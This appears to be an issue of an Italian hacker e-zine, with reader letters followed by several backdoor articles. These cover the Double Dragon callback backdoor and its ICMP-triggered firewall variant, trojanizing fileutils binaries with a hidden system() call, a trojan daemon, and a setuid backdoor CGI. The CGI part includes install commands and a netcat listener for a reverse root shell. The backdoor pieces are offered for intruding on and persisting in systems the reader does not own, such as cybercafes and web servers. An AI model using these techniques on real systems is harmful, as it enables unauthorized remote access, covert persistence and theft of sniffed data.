Subject: Giudicate voi...

Ciao Nobody, sono syscalo.
>fratelloneeeeeeeeeeeee!!!!!!!!
Leggendo newbies 6 ho notato una strana cosa, che se confermata secondo
me sarebbe abbastanza spiacevole!
Avete allegato un manuale C che dite che e' stato scritto da un certo
Maxipirata; io sono in possesso di un manuale datato 1987!!! che e'
identico a quello presentato da Maxipirata e soprattutto e' stato
scritto con motivazioni e propositi ben diversi da quelli di mostrare
alla gente di sapere...
Allego il primo file (l'intero manuale che ho io e' suddiviso in tre
file doc), che contiene l'introduzione e le motivazioni che hanno spinto
l'autore a scrivere tutto quel bel manuale che giustamente tu definisci
"straultracompleto e indispensabile in ogni libreria di un coder"
>su quello non sbagliavo cmq eheheh
Ho molti dubbi che Maxipirata sia il nick di F.Bernardotti (l'autore del
manuale), ma dentro di me (illudendomi) ci spero, perche' altrimenti
questo Maxipirata avrebbe fatto una delle cose piu' disprezzate da chi
come noi lavora per la diffusione libera dell'informazione.
>mi scuso con tutti quanti x questa cosa che mi ha fatto andare in bestia...
Spero che verificherai cio' che ti ho detto e che prenderai i dovuti
provvedimenti; quanto meno spero venga notificata questa copiatura
palese.
>Ho preferito farlo qui sulla rivista, e chi ha sbagliato, intenzionalmente,
dovra' pagare i propri errori...
saluti
syscalo
------------------------------------------------------------------------------
Da: pjro
A: n0body88@freemail.it

Ciao,
ho appena iniziato a leggere il primo numero di NeWbIeS e mi sta piacendo
un casino!Siccome sono uno ke non perde tempo,prima di continuare a leggere
questa favolosa e-zine volevo chiederti se e' possibile partecipare e in che
modo,e soprattutto se e' possibile,ogni volta ke esce la e-zine,riceverla via
Email a questo indirizzo.
Ciao,

Pjro

P.S.:dimmi ke 88 non e' il tuo anno di nascita,senno' muoio di invidia!:)

Sorry ma non distribuiamo la e-zine via mail, se vuoi partecipare basta che
ci mandi qualke tuo articolo...per quanto riguarda la data, se l'88 ti fa
mori' d'invidia allore diciamo che non sono dell'88, ma dell'89 :Ppppp
------------------------------------------------------------------------------
Da: anonimo
A: n0body88@freemail.it

Ciao,
sono un accanito lettore di NewBies,bhe se cosi' si puo' dire...ho scaricato i
6# martedi' e ho finito ora ora di leggerli tutti :) E' fantastica,dire ke
l'ho fatto tutto d'un fiato e' dir poco!Ti ho gia' skritto x sapere se posso
ricevere i prox# nella ml,ma ancora niente risposta...
Cmq,io sono un grande collezionista di virii da parecchio tempo,ma da un paio
di anni a questa parte ho lasciato stare x via ti tante cose (una storia
lunga insomma).Prima di questa astinenza ero un buon niubbie,pensa ke a
15 anni sono pure finito al primo hack-it (quello a Firenze),un'esperienza
favolosa!Non ke stare la mi abbia dato la qualifica di newbie,ma ho imparato
molto...bhe insomma ora ho perso tutto o quasi,e mi piacerebbe ricominciare,
spinto anke dalla lettura della vostra e-zine,soprattutto vorrei imparare a
programmare in Assembler,ma non ho trovato niente ke mi aiuti,e mi sono
kiesto "chissa se il buon NObodY88 ha qualcosa x me...",quindi se non mi
sono sbagliato fammi sapere,magari anke solo indicandomi qualke link o
mandandomi qualke txt sull'argomento.Grazie e ancora un fiume di complimenti
x la e-zine.Ciao

Pjro

www.uic-spippolatori.com
www.programmersheaven.com
www.programmazione.it
Ti consiglio anke l'Art Of Assembler, anke se piu' che da virus coder, o
cracker, la consiglierei a chi volesse in futuro scrivere driver et similari.
------------------------------------------------------------------------------<
Da: andm84@libero.it
A: n0body88@freemail.it

ciao n0body
sono un umile possessore di un altrettanto umile PC che vuole dedicarsi
a fare il newbie...
ho scaricato i 5 file dal vostro sito, e ho stampato il primo (un'ora
di stampa ma ne vale la pena); a breve stampero' gli altri...
ma torniamo all'argomento principale... anzitutto premetto che non sono
il solito testa di cazzo che entra nelle chat e dice:<Io sono un
hacker, uso netbus e bo e vi sfascio windows!!>. Sto cercando di
imparare il C (certe cose le avete spiegate meglio voi che non libri
dedicati, roba da matti!), ho una discreta disponibilita' (sono online
>eccerto i miei uomini sono i migliori ;) eheheheh coder rulez!
per circa 5 ore al giorno), e fra breve installero' Linux (Mandrake 7.1
che ne pensi?);
>che stai prendendo la strada giusta x diventare un buon coder, sistemista
>o anke solo x diventare uno a cui piace sapere...
insomma per diventare come voi che devo fare?
>mhmmm...se ti dico "cosi' come stai facendo" mi mandi affanculo?
ciao

Byez e corri piu' che puoi che la strada e' molto lunga e spesso in salita...
---------------------------------------------------------------------------------
Da: simone
A: n0body88@freemail.it

Salve, redazione di Newbies, io sono un vostro nuovo lettore.Trovo la
vostra rivista veramente interessante e utile per chi come me, si sta
avvicinando al mondo del computer da poco.
Mi sono imbattuto nella rivista BFI per caso; ho scaricato le varie
uscite, le ho lette.certo il livello era un po' avanzato per me, pero'
non mi sono dato per vinto e, spinto dalla curiosita', ho cercato
ancora, ho letto altre cose, tra cui anche alcuni numeri della vostra
rivista.
Il mio grande neo e' quello di non conoscere un linguaggio di
programmazione e questo mi fa sentire sempre una "matricola" quando
cerco di inseguire il mio sogno(forse impossibile) di fare, anche solo,
capolino nel suggestivo mondo dell'hacking.
Purtroppo la scuola non mi ha dato una tale competenza, sebbene io sia
un perito in elettronica e telecomunicazioni.Spero di poter rimediare
visto che nel Newbies 6 ho trovato il manuale del c.
Mi piacerebbe tantissimo partecipare alla vostra rivista in qualsiasi
modo.Se vi puo' interessare lavoro in un negozio che vende componenti
elettronici.
Ciao a tutti. Simone

Che ne dici di scrivere un mini corso di elettronica a puntate su NewBies?
O di spiegare qualke bell'aggeggino fico? O di regalarmi 2 ore di sesso con
una donna da te pagata? Mhmm so che quest'ultima cosa non giovera' ai lettori
di NewBies, ma a me si' :D eheheheh Cmq se hai tempo e voglia scrivici qual
cosa k? Che abbiamo bisogno di gente volenterosa come te e altri sopra citati.
------------------------------------------------------------------------------
Da: NeVErSLeEp
A: n0body88@freemail.it

ciao.. mi chiamo NeVErSLeEp.. ed il mio nick la dice
tutta! Faccio i salti mortali per trovare "un po'" di
tempo per leggere cose relativo al mondo hacker che mi
ha risucchiato da vari mesi :-)
In pratica non dormo piu' visto che non riesco a
rinunciare a nulla..
alle bevute con gli amici in discoteca.. alla mia
ragazza.. al gioco d'azzardo.. all' universita' (sto
per laurearmi in ingegneria...!).
>credimi secondo me l'hacking viene dopo gli amici, dopo un istruzione e
>vuoi che non venga dopo le donne? (diciamo cosi' mo che ci sentono ;) hihihi
Visto che la mia curiosita' e' infinita ed il mio essere
maniacale nelle cose che faccio.. da qualche parte
devo pur trovare il tempo.. quindi passo nottate
intere vicino al mio pc a leggere "roba" presa in
rete.. purtroppo sottraendo tempo al sonno.. che per
me e' un piacere infinito :))
..ora.. dopo averti rotto (spero non del tutto
altrimenti non mi risponderai ! :))) vengo alla cosa
che ti volevo chiedere..
..in questi giorni altre che a sbattere la testa sulla
tecnologia dei materiali non convenzionali
relativamente alla produzione aeronautica... !! (..che
>bella l'ho fatta in 1a elementare ma mi annoiavo a morte xche' la sapevo gia'
paroloni... hihihi... :))) ..sto anche vedendo un po'
come funziona un portscanner... : lo lancio sul mio IP
appena entrato in rete (ad esempio dalla porta 0 alla
140) e mi dice connect alla solita porta 139
(nbsession)... Poi lancio telnet e mi connetto ad un
sistema remoto con una delle shell account che ho.. e
lancio di nuovo il portscanner (sul mio IP e nello
stesso range).. COME MAI NON MENZIONA NULLA ALLA PORTA
23 ??? MENTRE dal prompt del DOS con un comando
netstat -na(o simili!) "mi dice" della interazione con
la porta 23 !?

ciao n0body88.. e ti ringrazio in anticipo sperando di
risentirci presto.. semmai in chat !!

La risposta e' semplice tu ti colleghi alla 23 usando una tua qualke porta
alta, magari non tra le wks (well know services) quindi tu magari usi la
tua 14321 x collegarti alla 23 dell'univ e infatti sotto netstat -na vedi
una interazione con la 23 che non e' tua ma bensi la porta del telnet della
tua uni...e cio' ti insegna che se tu ti colleghi a qualcosa non apri un
serivizio, xche' e' vero che apri temporaneamente una porta, ma la usi tu x
le transazioni di dati. Sperando di essere stato non troppo e inutilmente
complicato ti saluto e ti auguro un buon proseguimento di studi.
------------------------------------------------------------------------------
E qui finisce il mio unico intervento su quella che e' nata come una scommessa
e che e' cresciuta assieme a coloro che l'hanno creata e portata avanti.
Questo articolo e' dedicato a tutti i fratelli con cui non posso piu' chattare
tutti i gg come vorrei, a coloro con cui sono cresciuto e che mi hanno fatto
crescere nel bene e nel male, che siano cambiati o no, vi voglio bene fratelli
e non vi dimentichero' mai. Un saluto speciale a Quequero e tutta la crew
della sua city con cui me la sono spassata a Rimini e che mi hanno confortato
in un non good moment, a Eagle1 con cui ho passato una nottata fantastica a
parlare sempre a Rimini e con il quale mi sento legato piu' che mai, a RigoR
che mi fa strippare xche' non faccio manco in tempo a proporre un progetto
che e' gia' operativo, a Xunil e Valerio per le pazzie combinate in giro x
Torino, a Fake e Nedda che rulezzano sempre piu' e con i quali si fara' prima
o poi una rimpatriata trentina, a Devilnet, Cyrax e recidjvo x il minimeet di
Milano, ai mitici fratellini spp x il fatto che potro' vantarmi a vita di
avere letto "www.spippolatori.com" su Inter.Net di sto mese, a Little John,
Malattia, Harlok, Blinking, Black Berry e tutti i fratelli che ho sparsi x
l'italia e infine, ma non ultimo x importanza...anzi :D a Smav xche'...esiste
:D Smav tvtb :*

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°°°°ÛÛÛÛ°°°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°ÛÛÛÛÛÛ°°°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

__________________________________________
[ Double Dragon Backdoor ]
[ by tHE rECIdjVO <recidjvo@pkcrew.org> ]
[ Member of the Packet Knights Crew ]
[_________ http://www.pkcrew.org/ _________]

TITOLO: Double Dragon Backdoor
AUTORE: tHE rECIdjvO <recidjvo@pkcrew.org>
GRUPPO: Packet Knights Crew - http://www.pkcrew.org/
CONSUMO: Non mi e' rimasto nulla da mangiare o da bere!!!
MUSICA: Varie, tra cui Carmen Consoli e Rage Against the Machine
TEMPO: E come faccio a dirlo se sono all'inizio?!? :)
DISTRAZIONI: Le due segretarie (purtroppo oggi la vicina non c'e')
DISTURBI: Guybrush che non ha nulla da fare, al solito ^^;

Bene, ecco l'ennesimo tool inutile che ha prodotto la mia mente malata :)
Questa volta si tratta di una backdoor che permette (almeno nelle intenzioni)
di fregare il famoso sistema per condividere le connessioni sotto linux:
l'IP_MASQ; per uno studio approfondito, potete consultare l'IP-Masquerade HOWTO.
Se proprio non sapete che e' il masquerade oppure che e' un howto (d'oh!), faccio
un breve riassunto (piu' o meno la traduzione del file README allegato al programma).

Il MASQ prende i pacchetti in uscita da una sottorete a indirizzi privati (LAN)
e modifica le porte in modo da poterle mandare all'esterno,e, una volta tornate le
risistema e le passa al computer che aveva effettuato la richiesta, che non si accorge
o quesi del fatto di non essere direttamente su internet, evitando configurazioni lato
client come nel caso di server proxy.
Il problema, o, se vogliamo vederla in modo diverso, la sicurezza che presenta
l'IP_MASQ e' data nel momento in cui ci e' necessario aprire una porta (listen)
sulla nostra macchina, e permettere a un computer esterno alla LAN di collegarsi.
Rassegnatevi, con il masquerade cosi' com'e' inteso nel senso piu' stretto della
parola, non c'e' possibilita' di riuscita, e ora vediamo perche'.

Nel momento che qualcuno tenta di collegarsi da fuori verso una nostra porta regolarmente
aperta con listen(), in realta' tenta di collegarsi all'ip con cui ti vede all'esterno,
che, essendo in uso il masquerade, coincidera' con quello del gateway dove tale modulo
e' attivo; la connessione arriv al gateway, che, a seconda che abbia o meno la porta
richiesta aperta, accettera' o no la connessione.
Ma, anche nel caso in cui l'accettasse, la macchina esterna arriverebbe a un servizio
no desiderato, in quanto sul gateway e non sul client.
Un esempio e' migliore di mille parole: io mando una richiesta di DCC chat a pippo,
dicendogli di usare il mio host e la porta 2053 per la connessione; pippo, ignaro di
che tipo di rete stia usando io, tutto contento si collega al mio host... ma... non
e' il mio! E' quello del gateway! Quindi la richiesta di connessione non verra'
sottoposta alla mia macchina (che avra' la porta 2053 regolarmente aperta ma raggiungibile
solo dall'interno della LAN), ma dal gateway che, non avendo nessun servizio attivo sulla
2053, rifiutera' la connessione e droppera' il pacchetto impossibilitando il corretto
funzionamento della DCC chat.
Per risolvere questo inconveniente, riscontrabile con una infinita' di programmi
(da ftp a ReadAudio), sono stati creati degli speciali moduli da usare unitamente al
masquerade, come ip_masq_ftp o ip_masq_irc, ma che danno un certo grado di liberta'
solamente su alcuni protocolli predefiniti.

Di conseguenza, a pessimo avviso, spesso e' considerato inutile proteggere un sistema
LAN che sia protetto da masquerade, contando sul fatto che l'accesso alle singole
workstation non sia sufficiente per garantirsi un accesso, solo per l'impossibilita'
di creare un listen raggiungibile dall'esterno.
Questo causa una trascuratezza verso le box.
Questo provoca un indebolimento delle regole di firewalling dai pacchetti provenienti
dalla rete interna.
Questo ci permette, spendendo solo pochi minuti sulla macchina locale, di guadagnarci
un acceso stabile raggiungibile dall'esterno, senza dover nemmeno toccare il gateway.
Direi che non e' poco, visto tutti i cybercafe e le fiere che offrono di *navigare
sull'internet per chattare e cliccare*, e dove la sorveglianza si limita a dire:
"hey cos'e' quel commando.com, non sara' mica un sito vietato, eh?" ;)

Eccone un semplice schema:
/---------\ |--------------| \----------/ |----------|
| LAN box | | MASQ gateway | | Internet | | Attacker |
\---------/ |--------------| /----------\ |----------|

listen < X masquerade X---| route |---< connect

Ora noi cosa facciamo? Semplice! :)
Date uo occhio al prossimo schema e non ci sara' nemmeno bisogno di parole:
/---------\ |--------------| \----------/ |-------| |----------|
| LAN box | | MASQ gateway | | Internet | | Shell | | Attacker |
\---------/ |--------------| /----------\ |-------| |----------|

connect >---| masquerade |---| route |---> pipe <---< connect

Hihihihi :)
Ecco che cosi' nasce la Double Dragon Backdoor.
L'idea e' presa da quel bellissimo (?) gioco che e' Double Dragon III - The sacred
stones, che mi ha tenuto compagnia per molti giorni piovosi (o erano solari? boh, quando
sono davanti al pc non ci capisco piu' molto del mondo reale - mondo reale?!? - si, quello
strano posto dove si racconta ci siano delle splendide creature chiamate *ragazze*...
di piu' non so.)
I giocatori sono, come ricorderete, i fratelli Lee, Billy e Jimmy.
Billy e' il server da mettere sulla LAN box su piattaforma win32, altri menti entra in
gioco il ninja Ranzou, per sistemi unixlike (quest'ultimo e' molto piu' potente, comodo
e versatile, ma purtroppo spesso ci si trova su macchine win98 dove si rende necessario
Billy); Jimmy invece va posizionato su una shell di nostra proprieta' (sottolineo *NOSTRA*;),
messa su internet da qualsiasi parte.
Poi, come esplicato nello schema il player 1 si collega al player 2 che lo aspetta
all'inizio del livello (tutto va bene perche' il MASQ non si oppone). Dall'altro lato
noi ci colleghiamo a una seconda porta di Jimmy (definita da un #include), e... magia :)
nel caso di Ranzou ci troviamo una shell interattiva, mentre se usiamo Billy abbiamo da
usare il protocollo creato apposta, il BTJP (Billy To Jimmy Protocol). Attenzione, se
qualcosa va storto la backdoor cerca sempre di ripristinare il corretto funzionamento,
ma in caso negativo dovrete tornare sulla macchina e sistemarlo a mano :\

Due veloci note su Billy, per tutto il resto vi consiglio di leggere *TUTTI* i file allegati
ai sorgenti (veramente poca roba:) e, se servisse o voleste approfondire, l'IP-Masquerade
HOWTO, reperibile da qualche parte nella cartella /usr/doc/.
Se dovete compilare Billy per un sistema di cui non siete sicuri, state attenti all'opzione
USE_WIN2K, perche' su alcuni sistemi, come Windows 2000, la chiamata alla
RegisterServiceProcess() causa un errore irreversibile in fase di avvio, quindi al massimo
per sicurezza disattivatela.
La cosa migliore e', secondo me, installare un programma come il Dragon Server 2.0
(http://www.shadowopsoftware.com/), dopo telnettarsi con TNET localhost 23 e poter cosi'
usufruire del server telnet gia' pronto.
Ricordate sempre che quando avete finoto *COMPLETAMENTE* con quell'host, o in caso di
emergenza, non basta chiudere la connessione col server, perche' questo continuera' a
mandare richieste e si noteranno dei SYN_SENT verso la vostra shell. Uccidete quindi il
processo prima di andarvene definitivamente.

CONCLUSIONI
Come avrete capito questa backdoor non e' nulla di che, giusto per provare un'idea che mi
era venuta una notte.
Non fate i lameracci a correre in tutti i cybercafe a fare danni, prima riflettete col
cervello su quello che volete fare, e poi fatelo.
Probabilmente funziona con altri sistemi di proxy non MASQ, ma che applicano gli stessi
concetti, e, con opportune accortezze, ai sistemi protetti da Wingate.
Fatemi sapere e buon lavoro =)

P.S.: Greets e cagate varie li trovate nel file README. LEGGETELO!!! :)

tHE rECIdjVO - [PkC]

#################################################################

/* FiLeUtIlS.BaCKdooR
*
* compile with: gcc -o utilsbackdoor fileutils.backdoor
* usage: chmod +xwr /dev/mind | ./fileutils.backdoor
*
*/


#include <disclaimer.h>
#include <mymindio.h>

#define DanteAlighieri "root"
#define title "fileutils.backdoor"
#define mind "/dev/null"
#define ded_to "/var/women/gf/beatrix"
#define target "/dev/newbies"

FILE *this_damnd_article;

Easy simple & different way 2 trojanize a system.
2do what I'm gonna explain, u need few things:

1-/dev/mind (plz mount it before doin' everythin)
2-fileutils sources
3-bit knowledge of C

The idea is as simple as easy to do.
Download the fileutils sources and edit them..of course ;)
U have just to insert a "system call" in the source code..
this system call will start a bash script that will do what
u fuckin want..
plz let me xplain betta & with some 'xamplez:
Before the program start everythin' before the main
u have to insert a system call of this kind,
system("/onlyu/know/this/path/script.sh/")
after that u can compile the source and substitute the new
command (ls or who f.e.) with tha new trojan one.
When u or tha admin will start that command, will
automatically start tha script.sh too ;)

Dante Alighieri.


DAEMON TROIO

Non contento del solito crontab trojano x avviare dei processi
su shell, ho deciso di scrivere in c un piccolo daemon trojano
ke può essere sostituito a qualsiasi demone. Consiglio di usarlo
con inetd o httpd ke sono quelli ke quasi sempre sono attivi
su un server.
daemontrojan.c è alleggato in questa ezine ed è spiegato
tutto all'interno.
Sperando di avervi creato qualcosa di utile anke per voi aspetto
vostri commenti, insulti, fack, complimenti, etc etc etc
alla mia solita email linux@devilnetrulez.com

Byez alla prox

DeVVuZ ...


xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX


Double Dragon Backdoor SFE (Special Firewall Edition)
by tHE rECIdjVO <recidjvo@pkcrew.org>

Member of the Packet Knights Crew
http://www.pkcrew.org/

[INIZIO NOTA INTRODUTTIVA]
Questo progetto prende spunto dalla Double Dragon Backdoor, progettata inizialmente
per ottenere accesso shell su macchine in LAN protette da masquerading per le quali
non si aveva accesso al proxy server.
Questa versione invece, sempre sfruttando il concetto di base, si dedica a quella tipologie
di macchine che hanno un firewall a protezione dei dati, ma che hanno anche un ip pubblico
raggiungibile dalla rete.
Ringrazio e saluto DarK-ElF che dopo aver visto il mio programma ha prodotto una versione in
formato cgi-bin che fornisce all'incirca gli stessi servizi - dovrebbe essere in questo
numero, non perdetevela :)
[FINE NOTA INTRODUTTIVA]

Dopo aver scritto la Double Dragon Backdoor, in seguito ad avvenimenti che non voglio nemmeno ricordare
[ciao dark ;)], ho deciso di scrivere una variante in modo da adattare questa piccola utility a macchine
che sono protette da firewall.
Il problema con questi pc e' che non sempre si puo' istallare una backdoor che bindi una shell su una porta tcp,
quindi bisogna ricorrere a soluzioni alternative come la 007Shell di FuSyS, che pur essendo comoda presenta
una serie di inconvenienti che non permettono il suo utilizzo in molte situazioni.
Infatti il metodo di tunneling del protocollo ICMP limita molto le dimensioni delle informazioni passate tra il
server e il client, quindi risulta molto complesso creare uno stream di dati che sostituisca un socket TCP...
D'altra parte spesso e' sconsigliato lasciare impunemente una porta sopra la 1024 aperta sulla macchina remota...
e le prime sono firewallate... quindi che fare?
Come sicuramente avrete imparato nel corso dei secoli, le porte filtrate da ipchains sono quelle utilizzate dai
processi privilegiati che eseguono i server (le prime 1024 porte), mentre al massimo si bloccano le connessioni
TCP con flag SYN attivo ENTRANTI nel sistema. Ma non quelle in uscita... :)
Quindi, ricapitoliamo...
Sul seguito del progetto che mi ha spinto a scrivere la ddb, ovvero quello del callback effettuato dalla macchina
remota verso quella locale, vediamo il funzionamento della nuova venuta:
ci vuole sicuramente il server che sia costantemente in esecuzione sulla macchina remota, aspettando che *qualcuno*
gli comunichi che deve effettuare la procedura di callback, ed i dati necessari a cio'; utilizziamo per questo il
protocollo ICMP, visto che e' di facile approccio e spesso non viene droppato dal firewall (provate tutti i tipi
prima di rinunciare :). Una volta che il server ha ricevuto il magic packet della richiesta di connessione ed ha
autenticato il client, puo' procedere a instaurare una connessione TCP offrendo una shell dall'altro lato dello stream.
Quindi, se troviamo almeno un tipo di ICMP non filtrato il gioco e' fatto...
Spediamo al server un pacchetto (magari spoofato ;) dove inseriamo il nostro ip, la nostra porta di ascolto, e la
password per autenticarsi, aspettando fiduciosi la risposta ^__^
Ora qualche nota tecnica... ovviamente tutti e due i programmi (jimmy-sfe -> client; ranzou-sfe -> server) devono girare
da root per poter usare i raw socket necessari per la creazione di pacchetti ICMP, il client per di piu' ha bisogno
del netcat (reperibile da www.l0pth.com) per andare in listening e accettare la connessione di callback... vabbe' tanto
e' talmente semplice che se leggete il codice lo capite :)
Passiamo ora a quello che e' semplicemente la traduzione in italiano del README in inglese (pessimo ;)
presente nella release del programma:

[ RANZOU SETUP ]
La Double Dragon Backdoor SFE permette di raggiungere una shell root o non root sul sistema remoto. Questo perche' e'
stata programmata non solo per scopi di attacco, ma anche come un valido strumento di amministrazione non cosi' visibile
come il demone in.telnetd :)
E' necessaria una password per completare la procedura di callback, e viene fornita una shell con privilegi di USER se
questo e' una voce valida del file /etc/passwd, altrimenti root.
Queste costanti sono da definirsi prima della compilazione attraverso dei #define.
Tutto quello che serve modificare prima della compilazione e' il tipo di ICMP da mandare (0 -> echo-reply e' il default).
La sintassi per Jimmy e':
jimmy-sfe <ranzou_addr> <ranzou_pass> <jimmy_ip> <jimmy_port> <spoofed_ip>
ranzou_addr: indirizzo del server
ranzou_pass: password del server (definita dalla define PASSWD)
jimmy_ip: ip del client (your ip, if you don't need a 3 way connection)
jimmy_port: porta locale usata dal netcat
spoofed_ip: ip spoofato per il pacchetto

That's all.
tHE rECIdjVO [PkC]

[INIZIO NOTA SKAZZO]
Io ho un po' di problemi con lo studio e col lavoro.
Credo che tutto sia dovuto a un paio di significati divergenti che io e il mondo reale assimiliamo a queste situazioni.
Fatemi sapere se sono guaribile.

Capo -> Io.
Esame -> Giorno dopo lo studio [vedi: Studio]
Fidanzata -> Uhm che dite, me ne servirebbe una?!? (siii, peccato che io non serva a loro)
Lavoro -> Luogo dove fare cio' che si vuole, sfruttandone le risorse e venendo pagati un'esagerazione per divertirsi
Lezione -> Momento di svago tra amici
Studio -> Giorno immediatamente prima dell'esame [vedi: Esame]
Vita reale -> quello strano mondo fantastico di cui si legge ogni tanto nei libri...
[FINE NOTA SKAZZO]

----------------------------------------------------------------------------
----------------------BACK DOOR CGI by DarK-Elf-----------------------------

Ovvero: come backdorrare il tuo sito porno preferito e trarne molto piacere


-------------------se nn te ne fotte dei ringraziamenti salta sta parte ---
10x:
recidjvo: perkè ji ho rippato 3 righe di codice dal ranzou
A-synchro & Cthulhu: perkè mi hanno fatto imparare qlk a costo del loro
prezioso tempo :P
FuSyS: leggetevi il file in allegato :P
mia sorella: perkè nn esiste e indi nn mi rompe i kojombi
Adryana e la sua Tribù: per il supporto morale :**********************
Tutte le stupende ragazze ke perdono il loro tempo a sopportare le mie
query da takkinatore depresso :P vi AMO tutte :)
una ragazza in partikolare: lei sa ki è lei sa perkè
Lo Smilzo: perkè mi ha fottuto il lettuccio per 2 notti di fila ma lo amo
lo stesso :P
zCooL: perkè nonostante tutto è simpaticissimo
Cr3st4: ke ha gentilmente donato una sorella alla rete :P
ManiaK666: perkè è un mito
DanteAlig: ke da quando gioka a quake3 kon lo smilzo nn mi caga + :P
DevilNet: perkè se lo merita
Tutta #cacca
e ringrazio anke te se continui a leggere dopo tutte ste puttanate

------------------Roba Seria----------------------------------------------

Molte volte ci si trova davanti a dei server ke anke se hanno seri prob
di sikurezza sono molto difficili da ownare perkè sono dietro un bel
firewall...
Spessissime volte infati ji unici host ke possono loggarsi sulla makkina
sono quelli della sottorete dietro al firewall...
Per questo motivo ho scritto questa cgi ke permette di fare alcune belle
cosine :)
La prima funzione ke ho implementato è la possibilità di ejectare il CD :P
[Netbus???] si lo so ke è na stronzata ma mi serviva per provare a far
eseguire un programmma dalla cgi e darmi una risposta in html... in
effetti funge ed è molto semplice modificare il codice per far eseguire
altri programmi invece ke *eject*.
Passando a cosine leggermente + utili ke far impazzire l'admin ecco la
funzione per reebottare la makkinaremota... usa semplice system("reboot");
molto utile nel caso combiniate casini ed è assolutamente necessario
reboottare... ovviamente è konsijabile usarlo solo in caso di assoluta
necessità visto ke per stupido ke possa essere l'admin il dubbio ji viene
quando ji si reboota la makkina :P.
Ho inserito anke 3 funzioni per avviare riavviare e kiudere lo psybnc
sempre utile nn credete? per dare la path dello psy alla cgi dovete
metterla nei define ke sono all'inizio dei sorgenti della cgi... skusate
se nn vi ho fatto un *make menuconfig* ma mi sembrava eccessivo :)
Ho anke inserito un paio di funzioni sempre utili quando volete
controllare lo stato del server da remoto senza loggarvi dentro...
ho inserito il PS e il WHO
Da CGI è anke possibile far partire la 007 shell [grande FuSyS]
Per finire cosa molto utile è possibile farsi *chiamare* dalla cgi sul
proprio ip su una porta ke decidete voi.. basta un nc -p -l 6969 per
vedersi il caro server remoto ke ci dona la shell di root :) utile
nevvero?
Per finire ho inserito anke la possibilità di scaricarsi i log dello
sniffer da web ke fa sempre bene alle nostre povere dita :) sempre mejo di
logarsi e scaricarselo via ftp :))))

------------ Settaggio e Uso ---------------------------------------------

L'uso di sta cgi è semplicissimo.
Iniziamo kol preparare il nostro sorgente per funzionare sulla makkina
remota;
per prima cosa bisogna dichiarare nei define tutti i binari ke kiama la
cgi...
indi lo psy il reboot il ps ecce ecce :)

--------------------------------- Si ma mo kome la uso? -----------------

Per prima cosa la si compila

Bash~# gcc -o bd-cgi bd-cgi.c

poi bisogna suidarla kome se fosse una suidshell

Bash~# chmod +s bd-cgi

infine copiarla fra le

  
cgi del server web

Bash~# mv bd-cgi /var/lib/apache/cgi-bin/bd-cgi

A questo punto la cgi è accessibile via browser...
infatti se proviamo a fare

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?

vi dovrebbe venir fuori una pagina kon su skritto CGI ERROR see manual
questo perkè abbiamo fatto partire la cgi senza nessun argomento
proviamo a guardare una alla volta tutte le funzioni...

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?ps

vi da la lista dei prociessi attivi sul server

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?whois

una bella lista deji utenti collegati

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?ejectcd

vi viene fuori una bella paginetta e intanto il server sputa fuori il cd:P
Passando alle cose *serie*

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?reboot

reboota il server

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+start

avvia lo psy... notate il + fra psy e start; viene interperetato dal
server web come fosse uno spazio e serve per passare il secondo o terzo
argomento alla cgi..
per esempio se facciamo na cosa del genere:

Bash~$ lynx http://127.0.0.1/cgi-bin/testcgi?primo+secondo+terzo

argv[0] = testcgi : il nome della cgi
argv[1] = primo
argv[2] = secondo
argv[3] = terzo

indi i 3 comandi per lo psy sono

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+start
Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+restart
Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+stop

rispettivamente per startare riavviare e killare lo psy
per far partire la 007 shell basta dare come argomento alla cgi *007*

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?007

per leggere i log dello sniffer

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?sniflog

per finire è possibile farsi *chiamare* dalla cgi facendo questo
[se il nostro ip è 1.2.3.4]

ALT+F1

Bash~# nc -l -p 6969

ALT+F2

Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?callme+1.2.3.4

Ho cerkato di mettere in questa cgi tutti i modi per aprire un eseguibile
